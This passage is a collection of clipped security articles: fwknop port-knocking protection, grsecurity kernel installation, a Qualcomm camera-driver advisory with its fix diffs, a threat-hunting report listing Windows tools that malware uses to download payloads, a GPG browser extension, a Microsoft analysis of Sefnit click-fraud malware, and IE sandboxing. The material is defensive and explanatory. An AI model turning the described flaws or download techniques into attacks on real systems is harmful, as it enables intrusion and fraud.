systems\) and libpcap.

  * Download
  * Documentation
  * Features
  * Source Code
  * Mailing List

SPA requires only a single encrypted packet in order to communicate various
pieces of information including desired access through a firewall policy
and/or complete commands to execute on the target system. By using a firewall
to maintain a "default drop" stance, the main application of fwknop is to
protect services such as OpenSSH with an additional layer of security in order
to make the exploitation of vulnerabilities \(both 0-day and unpatched code\)
much more difficult. **With fwknop deployed, anyone using nmap to look for
sshd can't even tell that it is listening; it makes no difference if they have
a 0-day exploit or not**. The authorization server passively monitors
authorization packets via libcap and hence there is no "server" to which to
connect in the traditional sense. Access to a protected service is only
granted after a valid encrypted and non-replayed packet is monitored from an
fwknop client \(see the following network diagram; the SSH session can only
take place after the SPA packet is monitored\):  
  

<img src='img/Temp2_10257.png' alt='Network diagram to illustrate the
deployment of fwknop within an iptables firewall' />

**Single Packet Authorization** retains the benefits of Port Knocking \(i.e.
service protection behind a default-drop packet filter\), but has the
following advantages over Port Knocking:  
  

  * **SPA can utilize asymmetric ciphers for encryption**. Asymmetric ciphers typically have larger key sizes than symmetric ciphers, and the data transmission rate of port knocking \(which uses packet headers instead of packet payloads as used by SPA\) is not sufficient to effectively use an asymmetric cipher. SPA is compatible with 2048-bit Elgamal GnuPG keys, and other asymmetric ciphers can be used as well.
  * **SPA packets are non-replayable**. There are strategies \(such as S/Key-style iteration of a hash function\) used by port knocking implementations to reduce the danger of a replayed knock sequence, but these strategies are relatively brittle and not generally very scalable to lots of users.
  * **SPA cannot be broken by trivial sequence busting attacks**. For any attacker who can monitor a port knocking sequence, the sequence can be busted by simply spoofing a duplicate packet \(as though it comes from the source of the real sequence\) to the previous port in a sequence.
  * **SPA only sends a single packet over the network** , and hence does not look like a port scan to any intermediate IDS that may be watching.
  * **SPA is much faster** because it only sends a single packet. Port knocking implementations must build in time delays between successive packets because there is no guarantee of in-order delivery.

  
More information Single Packet Authorization and port knocking can be found
here:

  * **Enhancing Firewalls: Conveying User and Application Identification to Network Firewalls** This is a Master's Thesis completed in May, 2007 by **Rennie deGraaf** at the The University of Calgary. See his website for more information.  
  

  * **An Analysis of Port Knocking and Single Packet Authorization**. This is a Master's Thesis complete in September, 2006 by **Sebastien Jeanquier** at the Royal Holloway College, University of London about the concepts of port knocking and Single Packet Authorization. See his website for more information.  
  

  * **Single Packet Authorization with fwknop**. This paper was published in the February, 2006 issue of USENIX ;login: Magazine.

  
**fwknop** started out as a Port Knocking implementation in 2004, and at that
time it was the first tool to combine traditional encrypted port knocking with
passive OS fingerprinting. This made it possible to do things like only allow,
say, Linux-2.4/2.6 systems to connect to your SSH daemon. However, if you are
still using the port knocking mode in fwknop, I strongly recommend that you
switch to the Single Packet Authorization mode\!  
  

## fwknop on Slashdot

  
**fwknop** has made Slashdot twice here: Combining Port Knocking With OS
Fingerprinting, and here: Going Beyond Port Knocking; Single Packet Access.

# Installing GrSecurity - Ubuntu Forums

**Created:**| _2/6/2010 4:40:35 PM_  
---|---  
**Updated:**| _2/6/2010 4:57:22 PM_  
**Author:**| __  
**Tags:**| _Linux kernel Lab-Setup_  
  

[code]

    - Grab the latest patches at grsec site.
    
    -- Grab the matching linux-kernel source from www.kernel.org
    
    Unpack the kernel.org kernel
    
    -- Environment ~/build
    
    tar xvjf linux-x.x.x.y
    
    cd linux-x.x.x.y
    
    cp ../grsecurity-*****.gz .
    
    gunzip grsecurity-*****
    
    patch -p1 < grsecurity-*****
    
    cp /boot/config-`uname -r` .config
    
    make
    
    make install
    
    make modules_install
    
    mkinitramfs -o /boot/initrd.img-x.x.x.y-grsec x.x.x.y-grsec
    
    -- Edit GRUB Menu.lst as appropriate.
    
    nano /boot/grub/menu.lst
    
    -- Reboot into the -grsec kernel
    
    -- Install gradm2 tools from the grsec site. (recommended above the in repository gradm2 which is a bit dated (2.1.8 versus GRSEC site 2.1.9)
[/code]

# Stack-based buffer overflow and memory disclosure in camera driver \(CVE-2013-4738 CVE-2013-4739\) | Code Aurora Forum
**Created:**| _10/15/2013 7:04:46 PM_  
---|---  
**Updated:**| _10/15/2013 7:09:24 PM_  
**Author:**| __  
**Tags:**| _analysis vulnerability code-checks android stackbof_  
  

# **S** tack-based buffer overflow and memory disclosure in camera driver
\(CVE-2013-4738 CVE-2013-4739****\)

Advisory ID

QCIR-2013-00008-1

Description

A stack-based buffer overflow and a kernel memory disclosure vulnerability
have been discovered in the system call handlers of the camera driver**.**

**CVE-2013-4738:**  
The camera post processing engine \(CPP\) and video processing engine \(VPE\)
provide an ioctl system call interface to user space clients for
communication**.** When processing arguments passed to the
VIDIOC\_MSM\_CPP\_DEQUEUE\_STREAM\_BUFF\_INFO or
VIDIOC\_MSM\_VPE\_DEQUEUE\_STREAM\_BUFF\_INFO ioctl subdev handlers, a user
space supplied length value is used to copy memory to a local stack buffer
without proper bounds checking**.** An application with access to the
respective device nodes can use this flaw to, e.g., elevate privileges**.**

**Access Vector** : local  
**Security Risk** : high  
**Vulnerability** : CWE-121 \(stack-based buffer overflow\)

**CVE-2013-4739:**  
The Gemini JPEG encoder and the Jpeg1**.** 0 common encoder/decoder engines of
the camera driver are not properly initializing all members of a structure
before copying it to user space**.** This allows a local attacker to obtain
potentially sensitive information from kernel stack memory via ioctl system
calls**.**

**Access Vector** : local  
**Security Risk** : low  
**Vulnerability** : CWE-200 \(information exposure\)

**Affected versions**  
All Android releases from CAF using a Linux kernel from the following heads:

  * msm-3**.** 4
  * jb\_3\*

****

  
author| Seemanta Dutta <seemanta@codeaurora.org>| 2013-07-26 01:01:32 \(GMT\)  
---|---|---  
committer| Seemanta Dutta <seemanta@codeaurora.org>| 2013-07-31 00:54:26
\(GMT\)  
commit| 8604847927f952cc8e773b97eca24e1060a570f2 \(patch\)  
tree| 60af3933cd7290ffb4767c7b221f8e127b4af93f  
parent| 49131be71bc4db33e9df65bc661e689bcc6ab4e4 \(diff\)  
download| msm-8604847927f952cc8e773b97eca24e1060a570f2.tar.gz  
msm: camera: Fix uninitialized memory returned to userspace

Local structures have not been initialized to all zeroes, so fixthis by
setting them to all zeroes to prevent uninitialized memorybeing copied to
userspace.CRs-fixed: 518478Change-Id:
I6e76355c3f854514def1bd18dcc5c3ef6db38f16Signed-off-by: Seemanta Dutta
<seemanta@codeaurora.org>

Diffstat

-rw-r--r--| drivers/media/platform/msm/camera\_v1/mercury/msm\_mercury\_sync.c| 3|  |  |  |   
---|---|---  
-rw-r--r--| drivers/media/platform/msm/camera\_v2/jpeg\_10/msm\_jpeg\_sync.c| 1|  |  |  |   
---|---|---  
2 files changed, 3 insertions, 1 deletions

diff --git
a/drivers/media/platform/msm/camera\_v1/mercury/msm\_mercury\_sync.c
b/drivers/media/platform/msm/camera\_v1/mercury/msm\_mercury\_sync.c  
index 9293aad..e6483c1 100644  
\--- a/drivers/media/platform/msm/camera\_v1/mercury/msm\_mercury\_sync.c  
+++ b/drivers/media/platform/msm/camera\_v1/mercury/msm\_mercury\_sync.c @@
-1,4 +1,4 @@ -/\* Copyright \(c\) 2012, The Linux Foundation. All rights
reserved. +/\* Copyright \(c\) 2012-2013, The Linux Foundation. All rights
reserved. \* \* This program is free software; you can redistribute it and/or
modify \* it under the terms of the GNU General Public License version 2 and
@@ -196,6 +196,7 @@ int msm\_mercury\_evt\_get\(struct msm\_mercury\_device
\*pmercury\_dev, int rc = 0;  
MCR\_DBG\("\(%d\)%s\(\) Enter\n", \_\_LINE\_\_, \_\_func\_\_\);
+memset\(&ctrl\_cmd, 0, sizeof\(ctrl\_cmd\)\); ctrl\_cmd.type =
\(uint32\_t\)msm\_mercury\_q\_wait\(&pmercury\_dev->evt\_q\);  
rc = copy\_to\_user\(arg, &ctrl\_cmd, sizeof\(ctrl\_cmd\)\); diff --git
a/drivers/media/platform/msm/camera\_v2/jpeg\_10/msm\_jpeg\_sync.c
b/drivers/media/platform/msm/camera\_v2/jpeg\_10/msm\_jpeg\_sync.c  
index aa6f034..debbf03 100644  
\--- a/drivers/media/platform/msm/camera\_v2/jpeg\_10/msm\_jpeg\_sync.c  
+++ b/drivers/media/platform/msm/camera\_v2/jpeg\_10/msm\_jpeg\_sync.c @@
-221,6 +221,7 @@ int msm\_jpeg\_evt\_get\(struct msm\_jpeg\_device
\*pgmn\_dev, return -EAGAIN; \}  
+memset\(&ctrl\_cmd, 0, sizeof\(ctrl\_cmd\)\); ctrl\_cmd.type =
buf\_p->vbuf.type; kfree\(buf\_p\);  
  
| author| Hariram Purushothaman <hpurus@codeaurora.org>| 2013-08-09 18:21:50
\(GMT\)  
---|---|---  
committer| Hariram Purushothaman <hpurus@codeaurora.org>| 2013-08-09 18:21:50
\(GMT\)  
commit| c9c81836ee44db9974007d34cf2aaeb1a51a8d45 \(patch\)  
tree| 4dc8b98f065da19d522dd66bf5b80ddb840c412f  
parent| 347fe9d3e5006054d4a20539343433a32756e6a4 \(diff\)  
download| msm-c9c81836ee44db9974007d34cf2aaeb1a51a8d45.tar.gz  
msm: camera: Bound check length for Dequeue stream buff info

Bound check the length param from user space given tocopy\_from\_user function
to avoid any invalid memory access.Change-Id:
I926509a5fffd49cfc0130d182f246fbb9335b60eCRs-Fixed: 519124Signed-off-by:
Hariram Purushothaman <hpurus@codeaurora.org>

Diffstat

-rw-r--r--| drivers/media/platform/msm/camera\_v2/pproc/vpe/msm\_vpe.c| 5|  |  |  |   
---|---|---  
1 files changed, 5 insertions, 0 deletions

diff --git a/drivers/media/platform/msm/camera\_v2/pproc/vpe/msm\_vpe.c
b/drivers/media/platform/msm/camera\_v2/pproc/vpe/msm\_vpe.c  
index d302131..3aaff78 100644  
\--- a/drivers/media/platform/msm/camera\_v2/pproc/vpe/msm\_vpe.c  
+++ b/drivers/media/platform/msm/camera\_v2/pproc/vpe/msm\_vpe.c @@ -1323,6
+1323,11 @@ static long msm\_vpe\_subdev\_ioctl\(struct v4l2\_subdev \*sd,
struct msm\_vpe\_buff\_queue\_info\_t \*buff\_queue\_info;  
VPE\_DBG\("VIDIOC\_MSM\_VPE\_DEQUEUE\_STREAM\_BUFF\_INFO\n"\); +if
\(ioctl\_ptr->len \!= sizeof\(uint32\_t\)\) \{ +pr\_err\("%s:%d Invalid
len\n", \_\_func\_\_, \_\_LINE\_\_\); +mutex\_unlock\(&vpe\_dev->mutex\);
+return -EINVAL; +\}  
rc = \(copy\_from\_user\(&identity, \(void \_\_user
\*\)ioctl\_ptr->ioctl\_ptr,  
  
---  
  

# GossiTheDog/ThreatHunting

**Created:**| _3/7/2018 8:55:38 AM_  
---|---  
**Updated:**| _3/7/2018 8:55:38 AM_  
**Author:**| _wishi_  
**Tags:**| _OSINT_  
  

  

# ThreatHunting

I am publishing GPL v3 tools for hunting for threats in your organisations.

# Nexthink modules

Threat hunting - Potential malware downloads v1.0.xml

This is a report which shows all calls to internet domains from common malware
document techniques. Most endpoint malware - such as macros, Office exploits
etc - use the same set of methods to download their payloads.

The methods currently monitored include:

  * rundll32
  * mshta
  * PowerShell
  * wscript/cscript
  * wmic
  * sct remote calls
  * InfDefaultInstall \(Inf remote calls\)
  * certutil

The report will show domains. You can change the report to show users,
executables instead if you want, or investigate each domain

In terms of false positives, you will very likely want to add a rule to filter
out traffic destined for your internal IP ranges, or whitelist domains inside
your environment. For example, when adding a Printer it will call rundll32,
and hit the printer for web traffic - which triggers in the report - just
whitelist it.

# ThreatHunting

I am publishing GPL v3 tools for hunting for threats in your organisations.

# Nexthink modules

Threat hunting - Potential malware downloads v1.0.xml

This is a report which shows all calls to internet domains from common malware
document techniques. Most endpoint malware - such as macros, Office exploits
etc - use the same set of methods to download their payloads.

The methods currently monitored include:

  * rundll32
  * mshta
  * PowerShell
  * wscript/cscript
  * wmic
  * sct remote calls
  * InfDefaultInstall \(Inf remote calls\)
  * certutil

The report will show domains. You can change the report to show users,
executables instead if you want, or investigate each domain

In terms of false positives, you will very likely want to add a rule to filter
out traffic destined for your internal IP ranges, or whitelist domains inside
your environment. For example, when adding a Printer it will call rundll32,
and hit the printer for web traffic - which triggers in the report - just
whitelist it.

  

# GPG4Browsers - Recurity Labs

**Created:**| _11/19/2011 8:48:56 PM_  
---|---  
**Updated:**| _11/19/2011 8:48:56 PM_  
**Author:**| __  
**Tags:**| _crypto JavaScript_  
  

# GPG4Browsers

GPG4Browsers is a prototype implementation of the OpenPGP Message Format \[RFC
4880\]. The implementation is currently written as Chrome Browser Extension
with a Googlemail integration for encrypting, decrypting or signing emails.

The OpenPGP implementation supports all asymmetric, symmetric ciphers \(except
IDEA\) and hash functions specified in the standard and implements the
following use cases:

  * Encryption and description of message
  * Sign and verify message signatures
  * Import and export of certificates

The implementation is compatible with the GnuPG implementation standard
settings except the standard compression used. To create a compatible message
in GnuPG use the option ` --compress-algo none`.

## Limitations and Licensing

The code is released under the GNU Lesser Public License.

The implementation currently **not** supports:

  * Generation, manipulation or creation of signatures on keys
  * Several signature types on keys
  * Symmetric only encrypted messages
  * Compressed data packets

### Contributions

The following code of other projects has been modified or used for this
project:

Component| Contributor  
---|---  
AES library| Herbert Hanewinkel  
CAST5 library| pjacobs@xeekr.com with modifications from Herbert Hanewinkel  
DES library| Paul Tero with modification from Michael Hayworth  
Blowfish library| nklein software \(Patrick Fleckenstein\)  
Twofish library| Atsushi Oka  
SHA library| Brian Turek  
MD5 library| Henri Torgemane|  
RIPEMD/160| Derek Buitenhuis|  
Base64 encoding library| Herbert Hanewinkel  
JS BigNum library| Tom Wu  
OpenPGP CFB| Partially from Herbert Hanewinkel|  
UI library| The jQuery Project  
## Get the code

The current release is available as ZIP archive here.

The source code is located in the following subversion repository:
`http://gpg4browsers.recurity.com/svn/gpg4browsers/`

## Install

To install the extension perform the following steps:

  * Get the source code
  * Open `chrome://extensions` in the google-chrome browser
  * Click on "Load unpacked extension .." and select the source code folder where the manifest file is located
  * Check the "Allow in incognito" option.

## Setup

For using the Browser extension you need to import private and public OpenPGP
keys. This can be done by using the extensions options page linked at
`chrome://extensions`. The options page allows to search keys on a public key
server which exposes the service at port 80.

## Usage

  * Login to google mail
  * Click on the page action to create a openpgp message
  * When an OpenPGP signed or encrypted message is displayed in the google mail interface a popup occurs allowing the mail to be opened with GPG4Browsers.

## Documentation

The source code is documented using JavaDoc annotation. An architectural
overview as well as example code can be found in the Developer Documentation
\(PDF\).

## Contact

For questions, comments or contributions please contact gpg4browsers@recurity-
labs.com.

# Mevade and Sefnit: Stealthy click fraud - Microsoft Malware Protection
Center - Site Home - TechNet Blogs

**Created:**| _9/26/2013 12:47:02 PM_  
---|---  
**Updated:**| _9/26/2013 12:47:02 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web browser_  
  

# **M** evade and Sefnit: Stealthy click fraud****

25 Sep 2013 6:30 PM

​Recently Trojan:Win32/Mevade made news for being the first large botnet to
use Tor to anonymize and hide its network traffic**.** Within a few weeks,
starting mid-August, the number of directly connecting Tor users increased by
almost 600 percent - from about 500,000 users per day to more than
3,000,000**.**

Last week we concluded, after further review, that Mevade and Sefnit are the
same family and our detections for Mevade have now been moved to join the
Sefnit family**.**

Win32/Sefnit  is a well-known family which includes a component capable of
performing click fraud**.** From our observations in the wild, this particular
component disappeared near the end of 2011**.** In June 2013 we discovered a
new click fraud component which we originally classified as Mevade**.**

Despite its recent notoriety due to the Tor activity, there is still a bit of
mystery around how the latest version of Sefnit is spreading and the
monetization techniques it uses**.**

In this blog I’ll be going into a bit more detail on the new stealthy click
fraud technique used and how it has contributed to Sefnit being largely
undetected by AV vendors for the last couple of years**.** Additionally, we
will discuss a few of the attack vectors used by the Sefnit authors to deliver
the latest version of the malware**.**

Interestingly, TrendLabs now believe they have identified the online
identities of the actors behind the threat **.**

**An interconnected threat**

The Sefnit threat is composed of multiple components dedicated to different
tasks**.** Among the observed samples, we have identified three distinct
components**.** Figure 1 illustrates what is known currently about how these
components interconnect as well as their intended purpose**.** Figure 2
provides sample references**.**

<img src='img/Temp2_5340.png' alt='The Sefnit malware structure' />

_Figure 1: The Sefnit malware structure_

**Component** |  **Sha1 Subset** |  **Service Name**  
---|---|---  
**Updater and Installer Service** Trojan:Win32/Sefnit**.** AU |  5451cfa12c9acfae6e91f7c13e4b946038bacef4 942860bedf408cc4c6a1831ef3744a3f9e68b375 |  “Adobe Flash Player Update Service”  
**Click Fraud Service** Trojan:Win32/Sefnit**.** AS |  014ace48897e81052b9552a5a7ab04d00a8e5227 04bb63c3c71b4d033f49434f59a9225d08b4ea70 05a8fb5e61aad8be003a0ab461b39a86767fda23 0e246f6b95a9fd2d2a0c905be87074f5aadc7be0 0f8be849f287cf705ebc0409527fd06670438470 21bfcc14ac5abc6cb8b6fc802038e66ac4e24686 2d10aaf57c45bde69d8f52e23bdabc10a192da20 5d28316acb73e06a5f4c00858b3bf095cfe6b2bf 72d705af606df58aaaec3cc271f46d3d2e4c0499 7c5091177ea375eb3d1a4c4a2bbd5eb07a4cc5cc 8528769281709abd231a46f13ffdfaaa13232336 89c28f7203f9db0762d1c64e42422a5d89c6a83f a6b055df9ad3d374acaf2dfacded3ba88d20f5cd a7a41a0c6998f83839c5c6b58840b62a28714b17 a81b04724ab71e4a71e939204e476bb762adc506 bf4151bece1d94d8304df46b2598c14214d9834e c5af760e62f230ed0f55ff19d2c2215568e6a199 ccd1fa1bf48665270128700bc94043c5fec39984 |  “Trusted Installer” “Bluetooth LE Services Control Protocol”  
**Peer-to-peer File Seeding Service and More** Trojan:Win32/Sefnit**.** AT Trojan:Win32/Sefnit.gen**\!** D |  1aba915c0f75432f788fa672a6c7798af5acc94e 5afaadfe20c4776d12001212dc579f5d3851852b 9378acb5a7b6368e07ac2953459be911a84686cc 9dbca75ff98d49bdd211a2a7c8cac506789d6d29 a1733ba81255104c91e916943bb96875bf39d4d9 a5dd1b1d6105a773d1bdbdf961d36be2bbc56de1 abbd69ddb25b1b95c944b8fdb9531963556ea666 b55051915a2cc1a58284679d7753b55cb11bd9b0 d149bb1c2a4767f538a3de4d72f0a5d21ae46165 d95eb268e489928ed3d4bad8f56c0aa9ba0f0160 e50aa43d2df250ec56c92b4efd8df83e440cb167 edc7a434f18424d73c1403a15ee417fbd59eea95 |  “Windows Internet Name Service”  
**Software Bundlers** Trojan:Win32/Sefnit**.** AU |  c5758309136cd1e7e804d2003dc5ca27ae743ac3 |   
_Figure 2: Known Trojan:Win32/Sefnit Components_

**Sefnit’s stealthy new click fraud methodology**

The new Sefnit click fraud method is a departure from the method previously
used back in 2011**.** This new, stealthier methodology is believed to be
largely responsible for Sefnit being able to evade AV vendor detection during
the last couple of years**.**

The old version of Sefnit relied on click hijacking for performing click
fraud**.** When an infected user was browsing the internet and clicked on a
search engine result \(such as from Google\), sometimes the clicks would be
hijacked to travel through advertising agencies to a similar webpage as the
intended destination**.** These clicks are generally considered quite high-
value and are hard to detect from an anti-fraud perspective**.**

Although this is very stealthy from an advertising agency anti-fraud data
analytics perspective, it is not stealthy for the user whose click was
hijacked**.** If detection was missing, some observant users would realize
they did not land at the intended website, investigate the cause, and submit
samples to antimalware researchers for detection**.** As a result this always
brought attention to the malware**.**

In 2011, the Sefnit authors were observed to have stopped releasing new
versions of the component responsible for this click hijacking and
consequently were later believed to no longer be active in the wild**.** At
the end of June 2013, we rediscovered Sefnit using a new click fraud
strategy**.**

The Sefnit click fraud component is now structured as a proxy service based on
the open-source 3proxy project**.** The botnet of Sefnit-hosted proxies are
used to relay HTTP traffic to pretend to click on advertisements**.**

In this way, the new version of Sefnit exhibits no clear visible user symptoms
to bring attention to the botnet**.** This allowed them to evade attention
from antimalware researchers for a couple years**.** The figure below
illustrates how the hosted 3proxy servers are used to relay Internet traffic
through the botnet clients to perform a fake advertisement click**.**

<img src='img/Temp2_5338.png' alt='The Sefnit botnet uses the hosted 3proxy
servers to redirect internet traffic and perform fake advertisement clicks' />

_Figure 3: The Sefnit botnet uses the hosted 3proxy servers to redirect
internet traffic and perform fake advertisement clicks_

A recorded example of this click fraud path is shown below by using the
legitimate affiliate search engine mywebsearch.com to simulate a search for
"cat" and fake a click on an advertisement provided by Google to defraud the
advertiser Groupon**.**

<img src='img/Temp2_5341.png' alt='The landing page for this click fraud
instance' />

_Figure 4: The landing page for a click fraud instance_

The end result is Groupon paying a small amount of money for this fake
advertisement "click" to Google**.** Google takes a portion of the money and
pays the rest out to the website hosting the advertisement – mywebsearch**.**
The Sefnit authors likely signed up as an affiliate for mywebsearch, resulting
in the Sefnit criminals then receiving a commission on the click**.**

Sefnit authors avoid raising red flags on their advertisement affiliate
accounts by preceding each clickfraud incident with a large time-gap and
simulated normal user Internet browsing behaviour**.**

From experience, the interval between click fraud incidents is once per
multiple-day period or longer**.** If the trojan simulates fake advertisement
clicks too quickly, the anti-fraud team within the advertising agency would be
able to detect the fraud, cancel the payout to the affiliate, and return the
money to the defrauded advertisers**.**

**Delivery by File Scout**

We have been able to identify some of the infection vectors for the new
version of Sefnit**.** One of the prominent methods is an installer for an
application called "File Scout**.** " When this application is installed, it
will also install Trojan:Win32/Sefnit silently in the background:

<img src='img/Temp2_5339.png' alt='File Scout installer that silently installs
Trojan:Win32/Sefnit as the same time' />

_Figure 5: File Scout installer that silently installs Trojan:Win32/Sefnit as
the same time_

The installed File Scout application is a tool that replaces the standard
"Open with" dialog for unrecognized files with a new dialog:

<img src='img/Temp2_5337.png' alt='File Scout replacement for the “Open With”
dialog' />

_Figure 6: File Scout replacement for the "Open with" dialog_

There is evidence suggesting that this File Scout application is developed by
the Trojan:Win32/Sefnit developers**.** Specifically, it expects a similar
format xml structure for the C&C-download and execute commands, both
applications are distributed together, and the two applications were compiled
15 minutes apart with the same compiler**.**

Similarly, Trojan:Win32/Sefnit bears code similarity to some InstallBrain
software bundler installers, such as the same string encryption algorithm and
the same packer**.**

We have also seen Trojan:Win32/Sefnit spread through the eMule peer-to-peer
file network**.**

Downloading and running files from any peer-to-peer network as well as
downloading applications from untrusted sources puts you at a high risk of
being infected by malware**.**

This latest version of Sefnit shows they are using multiple attack vectors,
even going as far as writing their own bundler installers to achieve the
maximum number of infections that make this type of clickfraud a financially
viable exercise**.**

The authors have adapted their click fraud mechanisms in a way that takes user
interaction out of the picture while maintaining the effectiveness**.** This
removal of the user-interaction reliance in the click fraud methodology was a
large factor in the Sefnit authors being able to stay out of the security-
researchers' radars over the last couple of years**.**

Microsoft is working towards thwarting this type of crime as we describe in
another blog, "Another way Microsoft is disrupting the malware ecosystem **.**
" The more computers we can protect, the less financially viable this type of
malware becomes**.**

We will continue to monitor the family and keep detection in place to limit
further fraud by the criminals**.**

_Geoff McDonald_

_MMPC_

****

# Understanding Enhanced Protected Mode - EricLaw's IEInternals - Site Home -
MSDN Blogs

**Created:**| _3/24/2012 6:42:33 PM_  
---|---  
**Updated:**| _3/24/2012 6:42:33 PM_  
**Author:**| __  
**Tags:**| _windows environment mitigations_  
  

### Understanding Enhanced Protected Mode

<img src='img/Temp2_8691.jpg' /> EricLaw \[MSFT\]

23 Mar 2012 2:24 PM

  * 3

Last week, Andy Zeigler announced the introduction of Enhanced Protected Mode
\(EPM\) over on the IEBlog. In today’s post, I’d like to provide further
technical details about EPM to help security researchers, IT professionals,
enthusiasts, and developers better understand how this feature works and what
impact it may have on scenarios they care about.

# Internet Explorer’s Process Model and Bitness

For the past several releases, Internet Explorer has sported a multi-process
architecture, where the “Frame” or “Manager” process runs at Medium Integrity
and the “Tab” or “Content” processes run at either Low Integrity \(Protected
Mode\) or Medium Integrity \(for Zones where Protected Mode is disabled, like
Intranet sites\). All HTML content and ActiveX controls run in the Content
Process. Even toolbars, which visually appear as if they’re in the Manager
Process, really run down in a Content Process.

For IE10, we’ve changed IE such that **Manager Processes** always run as 64bit
processes when running on a 64bit processor running a 64bit version of
Windows. This improves security among other things. We do not expect that this
change will meaningfully impact compatibility, because the Manager Process is
designed not to run 3rd party content, and thus there’s little opportunity for
anyone to take a dependency upon the Frame Process’ bitness. In support of
this change, the various registry points that point to Internet Explorer have
been updated to point to C:\Program Files\Internet Explorer\iexplore.exe. If
you manually invoke C:\Program Files **\(x86\)** \Internet
Explorer\iexplore.exe, that 32bit process will simply launch the 64bit version
of iexplore.exe \(with the appropriate command line parameters\) before
exiting.

For the **Content Processes** , the story is a little more complicated. In the
Metro-style experience of Internet Explorer, all Content Processes will run at
64bit \(on Win64\), which means that they benefit from the improved security
provided in 64bit. The compatibility impact is minimal because Metro-style IE
does not load any browser add-ons \(Toolbars, BHOs, and _non-browser-platform_
COM objects like MIME Handlers, URLMon Protocol Handlers, MIME Filters,
ActiveX controls, etc\). Back in IE9, running in 64bit mode meant that
JavaScript was not JIT-compiled, but for IE10, the JIT compiler was enhanced
to work for both 32bit and 64bit tabs, providing great performance in both.
Additionally, many major browser add-ons like Flash, Silverlight, and Java are
now available in 64bit versions.

In Internet Explorer on the Desktop, by default, Content Processes remain at
32bit by default for compatibility with 32bit ActiveX controls, Toolbars,
BHOs, etc. Even when you directly launch the 64bit iexplore.exe executable,
you will still have a 64bit Manager Process that hosts only 32bit Content
Processes. If you want to enable 64bit Content Processes for the Desktop, you
must tick the **Enable Enhanced Protected Mode** option in the Security
section of Internet Explorer’s **Tools > Internet Options > Advanced** tab.
When this option is enabled, all Content Processes that are running in
Protected Mode \(e.g. Internet Zone and Restricted Zone, by default\) will
begin to use 64bit Content Processes.

> <img src='img/Temp2_8694.jpg' width='421' height='129' alt='enableepm' />
In the upcoming Internet Explorer 10 on Windows 7 and Windows Server 2008R2,
the _only_ thing that enabling Enhanced Protected Mode does is turn on 64bit
Content Processes. But, when running on Windows 8, the EPM option provides
even more security by also causing the Content Process to run in a new
security sandbox called “AppContainer.”

# Intro to AppContainer

Windows Vista introduced the concept of Integrity Levels. The default
integrity levels used by applications \(Low / Medium / High\) constrained what
parts of the system could be written \(e.g. registry keys, files, etc\) and
how applications could communicate or share data. Notably, in most
circumstances, Integrity Levels were “Allow Read-Up; Block Write-Up” meaning
that even a Low Integrity process like an IE tab would have full read-access
to the rest of the disk and registry even those locations which were marked as
Medium or High integrity.

Windows 8 introduces a new security sandbox, called AppContainer, that offers
more fine-grained security permissions and which blocks Write _and Read_
Access to most of the system. There’s not a lot of documentation specifically
about AppContainer because all Metro-style applications run in AppContainers,
so most of the documentation is written from that point of view. For instance,
here’s a page that describes the capabilities that a Metro-style application
can declare that it needs: http://msdn.microsoft.com/en-
us/library/windows/apps/hh464936.aspx. Under the covers, it’s the AppContainer
that helps ensure that an App does not have access to capabilities that it
hasn’t declared and been granted by the user.

# IE Tabs and AppContainer

Tabs running in Enhanced Protected Mode on Windows 8 run inside an
AppContainer. On Windows 7 and Windows Server 2008 R2, AppContainer does not
exist, so EPM only enables 64bit tabs on a 64bit OS. \(That also means that
enabling EPM on a 32bit Windows 7 system doesn’t do _anything,_ because a
32bit Windows 7 system supports neither 64bit nor AppContainer\).

On Windows 8, Metro-style IE’s tabs in the Internet and Restricted Zone run in
Enhanced Protected mode, while tabs in other zones run in 64bit only. You
cannot disable EPM for Metro-style IE except by turning off Protected Mode
entirely.

By default, Desktop IE’s tabs run in the Low Integrity Protected Mode at
32bit. Only if you enable Enhanced Protected Mode using the Internet Options
control panel will Desktop IE’s tabs run in AppContainer \(and 64bit, if
available\).

## IE’s AppContainer

Internet Explorer’s EPM-mode tabs run in an AppContainer named
**windows\_ie\_ac\_001**. In the Windows 8 Consumer Preview release, this
container declares the capabilities **internetClient** , **location** , and
**sharedUserCertificates**.

Notably, the container does not specify **internetClientServer,
privateNetworkClientServer, enterpriseAuthentication,** or any of the
**\*Library** capabilities, which means that Internet content runs in a pretty
tight sandbox.

## AppContainer - Network Restrictions

AppContainer introduces three key restrictions related to Network Connectivity
that impact EPM. I’ll describe each.

## Acting as a Network Server is Blocked

Because EPM’s AppContainer does not have the **internetClientServer**
capability, there’s no way for an EPM process to accept inbound connection
attempts from the network. Typically, such connections weren’t possible in the
Web Platform anyway \(e.g. there's no JavaScript method to listen\(\) on a new
TCP/IP socket\), but some browser add-ons had the capability of allowing
inbound connections \(even though this became pretty uncommon with the
broadscale deployment of firewalls\). When EPM is enabled, such add-ons will
not be able to accept remote connections.

## Loopback-blocked

Apps running in AppContainer are not allowed to make connections to locally-
running processes outside of their own package. This means, for instance, if
you run a local developer instance of Apache or IIS on your own computer, you
will find that Metro-style applications are unable to connect to that server.
This also means that by-default, you cannot use Fiddler to debug Metro-style
applications, because Fiddler acts as a proxy server on your local computer.
To unblock Fiddler users, I’ve published a simple utility that allows users to
remove the Loopback Restriction on the AppContainers of their choice; you can
also use this utility to allow your App or MetroIE to contact a locally-
running web server for development purposes.

<img src='img/Temp2_8693.jpg' width='541' height='222' alt='image' />

_Please note that Windows Store-delivered applications will not be permitted
to set a loopback exemption for themselves, so this is only useful for
test/development purposes._

Now, one key thing to understand about Loopback connections in Metro-style
Internet Explorer is that the **Hostname** you use in your URL matters a lot\!
If you try to navigate to http://127.0.0.1/, your page will be treated as an
**Internet Zone** and thus will run in an EPM tab, and the loading of the page
will be blocked by the AppContainer’s Loopback-block-- you’ll see a **Page
Could Not Be Displayed** error page.

However, if you instead try the URL http://localhost/ \(assuming your Intranet
Zone is enabled\), you will find that Internet Explorer considers your content
to be **Local** **Intranet** **Zone** , and thus it is loaded in a Medium
Integrity \(non-Protected Mode\) tab. The page will successfully load since it
is not running in EPM, and thus isn't blocked by the network restrictions
provided by AppContainer.

## Private Network resources

Because EPM does not declare the **privateNetworkClientServer** capability,
your Intranet resources are protected from many types of cross-zone attacks
\(usually called “Cross-Site-Request-Forgery \(CSRF\)” and “Intranet Port
Scanning.”\) Internet pages are not able to frame Intranet pages, load images
or resources from them, send them CORS XHR requests, etc.

However, it’s important to understand how this restriction functions, because
it can have some very surprising outcomes depending on how your Internet
Explorer Security Zones are configured.

For instance, many of us have a home router with a configuration UI accessible
